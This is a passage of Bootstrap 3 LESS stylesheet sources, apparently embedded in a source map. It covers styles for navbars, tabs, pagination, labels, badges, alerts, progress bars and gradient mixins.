list\n//\n// Mixin for adding on top the shared `.nav-justified` styles for our tabs\n.nav-tabs-justified {\n border-bottom: 0;\n\n > li > a {\n // Override margin from .nav-tabs\n margin-right: 0;\n border-radius: @border-radius-base;\n }\n\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border: 1px solid @nav-tabs-justified-link-border-color;\n }\n\n @media (min-width: @screen-sm-min) {\n > li > a {\n border-bottom: 1px solid @nav-tabs-justified-link-border-color;\n border-radius: @border-radius-base @border-radius-base 0 0;\n }\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border-bottom-color: @nav-tabs-justified-active-link-border-color;\n }\n }\n}\n\n\n// Tabbable tabs\n// -------------------------\n\n// Hide tabbable panes to start, show them when `.active`\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n\n\n// Dropdowns\n// -------------------------\n\n// Specific dropdowns\n.nav-tabs .dropdown-menu {\n // make dropdown border overlap tab border\n margin-top: -1px;\n // Remove the top rounded corners here since there is a hard edge above the menu\n .border-top-radius(0);\n}\n","//\n// Navbars\n// --------------------------------------------------\n\n\n// Wrapper and base class\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n min-height: @navbar-height; // Ensure a navbar always shows (e.g., without a .navbar-brand in collapsed mode)\n margin-bottom: @navbar-margin-bottom;\n border: 1px solid transparent;\n\n // Prevent floats from breaking the navbar\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: @navbar-border-radius;\n }\n}\n\n\n// Navbar heading\n//\n// Groups `.navbar-brand` and `.navbar-toggle` into a single component for easy\n// styling of responsive aspects.\n\n.navbar-header {\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n }\n}\n\n\n// Navbar collapse (body)\n//\n// Group your navbar content into this for easy collapsing and expanding across\n// various device sizes. By default, this content is collapsed when <768px, but\n// will expand past that for a horizontal display.\n//\n// To start (on mobile devices) the navbar links, forms, and buttons are stacked\n// vertically and include a `max-height` to overflow in case you have too much\n// content for the user's viewport.\n\n.navbar-collapse {\n overflow-x: visible;\n padding-right: @navbar-padding-horizontal;\n padding-left: @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255,255,255,.1);\n &:extend(.clearfix all);\n -webkit-overflow-scrolling: touch;\n\n &.in {\n overflow-y: auto;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border-top: 0;\n box-shadow: none;\n\n &.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0; // Override default setting\n overflow: visible !important;\n }\n\n &.in {\n overflow-y: visible;\n }\n\n // Undo the collapse side padding for navbars with containers to ensure\n // alignment of right-aligned contents.\n .navbar-fixed-top &,\n .navbar-static-top &,\n .navbar-fixed-bottom & {\n padding-left: 0;\n padding-right: 0;\n }\n }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n .navbar-collapse {\n max-height: @navbar-collapse-max-height;\n\n @media (max-device-width: @screen-xs-min) and (orientation: landscape) {\n max-height: 200px;\n }\n }\n}\n\n\n// Both navbar header and collapse\n//\n// When a container is present, change the behavior of the header and collapse.\n\n.container,\n.container-fluid {\n > .navbar-header,\n > .navbar-collapse {\n margin-right: -@navbar-padding-horizontal;\n margin-left: -@navbar-padding-horizontal;\n\n @media (min-width: @grid-float-breakpoint) {\n margin-right: 0;\n margin-left: 0;\n }\n }\n}\n\n\n//\n// Navbar alignment options\n//\n// Display the navbar across the entirety of the page or fixed it to the top or\n// bottom of the page.\n\n// Static top (unfixed, but 100% wide) navbar\n.navbar-static-top {\n z-index: @zindex-navbar;\n border-width: 0 0 1px;\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n\n// Fix the top/bottom navbars when screen real estate supports it\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: @zindex-navbar-fixed;\n\n // Undo the rounded corners\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0; // override .navbar defaults\n border-width: 1px 0 0;\n}\n\n\n// Brand/project name\n\n.navbar-brand {\n float: left;\n padding: @navbar-padding-vertical @navbar-padding-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-computed;\n height: @navbar-height;\n\n &:hover,\n &:focus {\n text-decoration: none;\n }\n\n > img {\n display: block;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n .navbar > .container &,\n .navbar > .container-fluid & {\n margin-left: -@navbar-padding-horizontal;\n }\n }\n}\n\n\n// Navbar toggle\n//\n// Custom button for toggling the `.navbar-collapse`, powered by the collapse\n// JavaScript plugin.\n\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: @navbar-padding-horizontal;\n padding: 9px 10px;\n .navbar-vertical-align(34px);\n background-color: transparent;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n border-radius: @border-radius-base;\n\n // We remove the `outline` here, but later compensate by attaching `:hover`\n // styles to `:focus`.\n &:focus {\n outline: 0;\n }\n\n // Bars\n .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n }\n .icon-bar + .icon-bar {\n margin-top: 4px;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n display: none;\n }\n}\n\n\n// Navbar nav links\n//\n// Builds on top of the `.nav` components with its own modifier class to make\n// the nav the full height of the horizontal nav (above 768px).\n\n.navbar-nav {\n margin: (@navbar-padding-vertical / 2) -@navbar-padding-horizontal;\n\n > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: @line-height-computed;\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n > li > a,\n .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n > li > a {\n line-height: @line-height-computed;\n &:hover,\n &:focus {\n background-image: none;\n }\n }\n }\n }\n\n // Uncollapse the nav\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin: 0;\n\n > li {\n float: left;\n > a {\n padding-top: @navbar-padding-vertical;\n padding-bottom: @navbar-padding-vertical;\n }\n }\n }\n}\n\n\n// Navbar form\n//\n// Extension of the `.form-inline` with some extra flavor for optimum display in\n// our navbars.\n\n.navbar-form {\n margin-left: -@navbar-padding-horizontal;\n margin-right: -@navbar-padding-horizontal;\n padding: 10px @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n\n // Mixin behavior for optimum display\n .form-inline();\n\n .form-group {\n @media (max-width: @grid-float-breakpoint-max) {\n margin-bottom: 5px;\n\n &:last-child {\n margin-bottom: 0;\n }\n }\n }\n\n // Vertically center in expanded, horizontal navbar\n .navbar-vertical-align(@input-height-base);\n\n // Undo 100% width for pull classes\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n .box-shadow(none);\n }\n}\n\n\n// Dropdown menus\n\n// Menu position and menu carets\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n .border-top-radius(0);\n}\n// Menu position and menu caret support for dropups via extra dropup class\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n .border-top-radius(@navbar-border-radius);\n .border-bottom-radius(0);\n}\n\n\n// Buttons in navbars\n//\n// Vertically center a button within a navbar (when *not* in a form).\n\n.navbar-btn {\n .navbar-vertical-align(@input-height-base);\n\n &.btn-sm {\n .navbar-vertical-align(@input-height-small);\n }\n &.btn-xs {\n .navbar-vertical-align(22);\n }\n}\n\n\n// Text in navbars\n//\n// Add a class to make any element properly align itself vertically within the navbars.\n\n.navbar-text {\n .navbar-vertical-align(@line-height-computed);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin-left: @navbar-padding-horizontal;\n margin-right: @navbar-padding-horizontal;\n }\n}\n\n\n// Component alignment\n//\n// Repurpose the pull utilities as their own navbar utilities to avoid specificity\n// issues with parents and chaining. Only do this when the navbar is uncollapsed\n// though so that navbar contents properly stack and align in mobile.\n//\n// Declared after the navbar components to ensure more specificity on the margins.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-left { .pull-left(); }\n .navbar-right {\n .pull-right();\n margin-right: -@navbar-padding-horizontal;\n\n ~ .navbar-right {\n margin-right: 0;\n }\n }\n}\n\n\n// Alternate navbars\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n background-color: @navbar-default-bg;\n border-color: @navbar-default-border;\n\n .navbar-brand {\n color: @navbar-default-brand-color;\n &:hover,\n &:focus {\n color: @navbar-default-brand-hover-color;\n background-color: @navbar-default-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-default-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-default-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n\n .navbar-toggle {\n border-color: @navbar-default-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-default-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-default-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: @navbar-default-border;\n }\n\n // Dropdown menu items\n .navbar-nav {\n // Remove background color from open dropdown\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-default-link-active-bg;\n color: @navbar-default-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n > li > a {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n }\n }\n\n\n // Links in navbars\n //\n // Add a class to ensure links outside the navbar nav are colored correctly.\n\n .navbar-link {\n color: @navbar-default-link-color;\n &:hover {\n color: @navbar-default-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n }\n }\n }\n}\n\n// Inverse navbar\n\n.navbar-inverse {\n background-color: @navbar-inverse-bg;\n border-color: @navbar-inverse-border;\n\n .navbar-brand {\n color: @navbar-inverse-brand-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-brand-hover-color;\n background-color: @navbar-inverse-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-inverse-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-inverse-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n\n // Darken the responsive nav toggle\n .navbar-toggle {\n border-color: @navbar-inverse-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-inverse-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-inverse-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: darken(@navbar-inverse-bg, 7%);\n }\n\n // Dropdowns\n .navbar-nav {\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-inverse-link-active-bg;\n color: @navbar-inverse-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display\n .open .dropdown-menu {\n > .dropdown-header {\n border-color: @navbar-inverse-border;\n }\n .divider {\n background-color: @navbar-inverse-border;\n }\n > li > a {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n }\n }\n\n .navbar-link {\n color: @navbar-inverse-link-color;\n &:hover {\n color: @navbar-inverse-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n }\n }\n }\n}\n","// Navbar vertical align\n//\n// Vertically center elements in the navbar.\n// Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.\n\n.navbar-vertical-align(@element-height) {\n margin-top: ((@navbar-height - @element-height) / 2);\n margin-bottom: ((@navbar-height - @element-height) / 2);\n}\n","//\n// Utility classes\n// --------------------------------------------------\n\n\n// Floats\n// -------------------------\n\n.clearfix {\n .clearfix();\n}\n.center-block {\n .center-block();\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n\n\n// Toggling content\n// -------------------------\n\n// Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n .text-hide();\n}\n\n\n// Hide from screenreaders and browsers\n//\n// Credit: HTML5 Boilerplate\n\n.hidden {\n display: none !important;\n}\n\n\n// For Affix plugin\n// -------------------------\n\n.affix {\n position: fixed;\n}\n","//\n// Breadcrumbs\n// --------------------------------------------------\n\n\n.breadcrumb {\n padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;\n margin-bottom: @line-height-computed;\n list-style: none;\n background-color: @breadcrumb-bg;\n border-radius: @border-radius-base;\n\n > li {\n display: inline-block;\n\n + li:before {\n content: \"@{breadcrumb-separator}\\00a0\"; // Unicode space added since inline-block means non-collapsing white-space\n padding: 0 5px;\n color: @breadcrumb-color;\n }\n }\n\n > .active {\n color: @breadcrumb-active-color;\n }\n}\n","//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n color: @pagination-color;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n z-index: 3;\n color: @pagination-hover-color;\n background-color: @pagination-hover-bg;\n border-color: @pagination-hover-border;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-border;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-disabled-bg;\n border-color: @pagination-disabled-border;\n cursor: @cursor-disabled;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @border-radius-small);\n}\n","// Pagination\n\n.pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n > li {\n > a,\n > span {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n }\n &:first-child {\n > a,\n > span {\n .border-left-radius(@border-radius);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius);\n }\n }\n }\n}\n","//\n// Pager pagination\n// --------------------------------------------------\n\n\n.pager {\n padding-left: 0;\n margin: @line-height-computed 0;\n list-style: none;\n text-align: center;\n &:extend(.clearfix all);\n li {\n display: inline;\n > a,\n > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: @pager-bg;\n border: 1px solid @pager-border;\n border-radius: @pager-border-radius;\n }\n\n > a:hover,\n > a:focus {\n text-decoration: none;\n background-color: @pager-hover-bg;\n }\n }\n\n .next {\n > a,\n > span {\n float: right;\n }\n }\n\n .previous {\n > a,\n > span {\n float: left;\n }\n }\n\n .disabled {\n > a,\n > a:hover,\n > a:focus,\n > span {\n color: @pager-disabled-color;\n background-color: @pager-bg;\n cursor: @cursor-disabled;\n }\n }\n}\n","//\n// Labels\n// --------------------------------------------------\n\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: @label-color;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n\n // Add hover effects, but only for links\n a& {\n &:hover,\n &:focus {\n color: @label-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Empty labels collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for labels in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n}\n\n// Colors\n// Contextual variations (linked labels get darker on :hover)\n\n.label-default {\n .label-variant(@label-default-bg);\n}\n\n.label-primary {\n .label-variant(@label-primary-bg);\n}\n\n.label-success {\n .label-variant(@label-success-bg);\n}\n\n.label-info {\n .label-variant(@label-info-bg);\n}\n\n.label-warning {\n .label-variant(@label-warning-bg);\n}\n\n.label-danger {\n .label-variant(@label-danger-bg);\n}\n","// Labels\n\n.label-variant(@color) {\n background-color: @color;\n\n &[href] {\n &:hover,\n &:focus {\n background-color: darken(@color, 10%);\n }\n }\n}\n","//\n// Badges\n// --------------------------------------------------\n\n\n// Base class\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: @font-size-small;\n font-weight: @badge-font-weight;\n color: @badge-color;\n line-height: @badge-line-height;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: @badge-bg;\n border-radius: @badge-border-radius;\n\n // Empty badges collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for badges in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n\n .btn-xs &,\n .btn-group-xs > .btn & {\n top: 0;\n padding: 1px 5px;\n }\n\n // Hover state, but only for links\n a& {\n &:hover,\n &:focus {\n color: @badge-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Account for badges in navs\n .list-group-item.active > &,\n .nav-pills > .active > a > & {\n color: @badge-active-color;\n background-color: @badge-active-bg;\n }\n\n .list-group-item > & {\n float: right;\n }\n\n .list-group-item > & + & {\n margin-right: 5px;\n }\n\n .nav-pills > li > a > & {\n margin-left: 3px;\n }\n}\n","//\n// Jumbotron\n// --------------------------------------------------\n\n\n.jumbotron {\n padding-top: @jumbotron-padding;\n padding-bottom: @jumbotron-padding;\n margin-bottom: @jumbotron-padding;\n color: @jumbotron-color;\n background-color: @jumbotron-bg;\n\n h1,\n .h1 {\n color: @jumbotron-heading-color;\n }\n\n p {\n margin-bottom: (@jumbotron-padding / 2);\n font-size: @jumbotron-font-size;\n font-weight: 200;\n }\n\n > hr {\n border-top-color: darken(@jumbotron-bg, 10%);\n }\n\n .container &,\n .container-fluid & {\n border-radius: @border-radius-large; // Only round corners at higher resolutions if contained in a container\n }\n\n .container {\n max-width: 100%;\n }\n\n @media screen and (min-width: @screen-sm-min) {\n padding-top: (@jumbotron-padding * 1.6);\n padding-bottom: (@jumbotron-padding * 1.6);\n\n .container &,\n .container-fluid & {\n padding-left: (@jumbotron-padding * 2);\n padding-right: (@jumbotron-padding * 2);\n }\n\n h1,\n .h1 {\n font-size: @jumbotron-heading-font-size;\n }\n }\n}\n","//\n// Thumbnails\n// --------------------------------------------------\n\n\n// Mixin and adjust the regular image class\n.thumbnail {\n display: block;\n padding: @thumbnail-padding;\n margin-bottom: @line-height-computed;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(border .2s ease-in-out);\n\n > img,\n a > img {\n &:extend(.img-responsive);\n margin-left: auto;\n margin-right: auto;\n }\n\n // Add a hover state for linked versions only\n a&:hover,\n a&:focus,\n a&.active {\n border-color: @link-color;\n }\n\n // Image captions\n .caption {\n padding: @thumbnail-caption-padding;\n color: @thumbnail-caption-color;\n }\n}\n","//\n// Alerts\n// --------------------------------------------------\n\n\n// Base styles\n// -------------------------\n\n.alert {\n padding: @alert-padding;\n margin-bottom: @line-height-computed;\n border: 1px solid transparent;\n border-radius: @alert-border-radius;\n\n // Headings for larger alerts\n h4 {\n margin-top: 0;\n // Specified for the h4 to prevent conflicts of changing @headings-color\n color: inherit;\n }\n\n // Provide class for links that match alerts\n .alert-link {\n font-weight: @alert-link-font-weight;\n }\n\n // Improve alignment and spacing of inner content\n > p,\n > ul {\n margin-bottom: 0;\n }\n\n > p + p {\n margin-top: 5px;\n }\n}\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0.\n.alert-dismissible {\n padding-right: (@alert-padding + 20);\n\n // Adjust close link position\n .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n }\n}\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n.alert-success {\n .alert-variant(@alert-success-bg; @alert-success-border; @alert-success-text);\n}\n\n.alert-info {\n .alert-variant(@alert-info-bg; @alert-info-border; @alert-info-text);\n}\n\n.alert-warning {\n .alert-variant(@alert-warning-bg; @alert-warning-border; @alert-warning-text);\n}\n\n.alert-danger {\n .alert-variant(@alert-danger-bg; @alert-danger-border; @alert-danger-text);\n}\n","// Alerts\n\n.alert-variant(@background; @border; @text-color) {\n background-color: @background;\n border-color: @border;\n color: @text-color;\n\n hr {\n border-top-color: darken(@border, 5%);\n }\n .alert-link {\n color: darken(@text-color, 10%);\n }\n}\n","//\n// Progress bars\n// --------------------------------------------------\n\n\n// Bar animations\n// -------------------------\n\n// WebKit\n@-webkit-keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n// Spec and IE10+\n@keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n\n// Bar itself\n// -------------------------\n\n// Outer container\n.progress {\n overflow: hidden;\n height: @line-height-computed;\n margin-bottom: @line-height-computed;\n background-color: @progress-bg;\n border-radius: @progress-border-radius;\n .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));\n}\n\n// Bar of progress\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: @font-size-small;\n line-height: @line-height-computed;\n color: @progress-bar-color;\n text-align: center;\n background-color: @progress-bar-bg;\n .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));\n .transition(width .6s ease);\n}\n\n// Striped bars\n//\n// `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar-striped` class, which you just add to an existing\n// `.progress-bar`.\n.progress-striped .progress-bar,\n.progress-bar-striped {\n #gradient > .striped();\n background-size: 40px 40px;\n}\n\n// Call animation for the active one\n//\n// `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar.active` approach.\n.progress.active .progress-bar,\n.progress-bar.active {\n .animation(progress-bar-stripes 2s linear infinite);\n}\n\n\n// Variations\n// -------------------------\n\n.progress-bar-success {\n .progress-bar-variant(@progress-bar-success-bg);\n}\n\n.progress-bar-info {\n .progress-bar-variant(@progress-bar-info-bg);\n}\n\n.progress-bar-warning {\n .progress-bar-variant(@progress-bar-warning-bg);\n}\n\n.progress-bar-danger {\n .progress-bar-variant(@progress-bar-danger-bg);\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Progress bars\n\n.progress-bar-variant(@color) {\n background-color: @color;\n\n // Deprecated parent class requirement as of v3.2.0\n .progress-striped & {\n #gradient > .striped();\n }\n}\n",".media {\n // Proper spacing between instances of .media\n margin-top: 15px;\n\n &:first-child {\n margin-top: 0;\n }\n}\n\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n\n.media-body {\n width: 10000px;\n}\n\n.media-object {\n display: block;\n\n // Fix collapse in webkit from max-width: 100% and display: table-cell.\n &.img-thumbnail {\n max-width: none;\n }\n}\n\n.media-right,\n.media > .pull-right {\n padding-left: 